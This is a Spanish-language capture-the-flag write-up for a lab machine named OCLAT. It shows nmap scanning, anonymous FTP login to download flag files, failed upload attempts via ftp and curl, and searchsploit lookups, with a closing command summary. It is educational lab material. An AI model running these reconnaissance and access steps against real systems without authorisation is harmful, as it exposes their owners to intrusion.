WriteUps OCLAT

26 Mar 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso fue realizar un escaneo de puertos para identificar los servicios disponibles. La IP asignada a la máquina es 10.6.8.11. Utilicé el siguiente comando para el escaneo de puertos:

BASH
1
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 10.6.8.11 -oN scan-oclat

El resultado del escaneo mostró los siguientes servicios:

BASH
1
2
3
4
5
6
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx    1 0        0              21 Jan 08  2020 root.txt [NSE: writeable]
|_-rwxrwxrwx    1 1000     1000           15 Dec 28  2019 user.txt [NSE: writeable]
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

Resultado clave: El escaneo de puertos reveló dos servicios importantes:

  • Puerto 21: Servicio FTP (vsftpd 3.0.3), permite acceso anónimo.
  • Puerto 22: Servicio SSH (OpenSSH 7.2p2).

Análisis de vulnerabilidad#

El escaneo con Nmap mostró que en el puerto 21 (FTP) se encuentran los archivos root.txt y user.txt, los cuales eran accesibles con permisos de lectura y escritura. Esto indica la posibilidad de conectarse al servicio FTP sin credenciales especiales y descargar los archivos.

ftp-mv-oclat.png

Explotación#

Procedí a conectarme al servicio FTP utilizando acceso anónimo, y descargué los archivos root.txt y user.txt:

BASH
1
2
3
ftp 10.6.8.11
ftp> get user.txt
ftp> get root.txt

Los contenidos de estos archivos eran las flags del reto, que confirmaban la explotación exitosa del servicio FTP.

Intentos adicionales...

Dado que la explotación inicial fue muy sencilla, intenté explorar otros posibles vectores de ataque. A continuación, algunos intentos:

  • Subir un archivo por FTP: Intenté subir un archivo al servidor FTP, pero recibí un mensaje de error indicando que no tenía permiso para hacerlo.
BASH
1
ftp> put prueba.txt

Resultado:

BASH
1
550 Permission denied.
  • Enviar archivo usando curl por FTP: Intenté enviar un archivo usando curl:
BASH
1
curl -T prueba.txt ftp://10.6.8.11 -u anonymous:anonymous

Resultado:

BASH
1
curl: (25) Failed FTP upload: 550
  • Buscar vulnerabilidades en los servicios detectados: Utilicé searchsploit para buscar vulnerabilidades conocidas de vsftpd 3.0.3 y OpenSSH 7.2p2:
BASH
1
2
searchsploit vsftpd 3.0.3
searchsploit OpenSSH 7.2p2

Sin embargo, no encontré nada relevante para una explotación práctica más allá de ataques de denegación de servicio o enumeración de usuarios.

Escalada de privilegios#

Para esta máquina, la escalada de privilegios no fue necesaria debido a que las flags se pudieron obtener a través del acceso FTP.

Aprendizaje#

La máquina OCLAT permitió practicar técnicas básicas de reconocimiento y explotación, especialmente utilizando servicios de FTP con acceso anónimo. Aprendí sobre la importancia de revisar siempre los permisos de archivos disponibles y cómo servicios como FTsP pueden ser una puerta de entrada significativa si no están configurados adecuadamente.

Comandos#

  1. Escaneo de red para identificar la IP de la máquina:
    BASH
    1
    arp-scan -I enp0s31f6 -l
    
  2. Escaneo de puertos:
    BASH
    1
    nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 10.6.8.11 -oN scan-oclat
    
  3. Conexión al servicio FTP:
    BASH
    1
    ftp 10.6.8.11
    
  4. Descarga de archivos:
    BASH
    1
    2
    ftp> get user.txt
    ftp> get root.txt
    
  5. Buscar vulnerabilidades conocidas:
    BASH
    1
    2
    searchsploit vsftpd 3.0.3
    searchsploit OpenSSH 7.2p2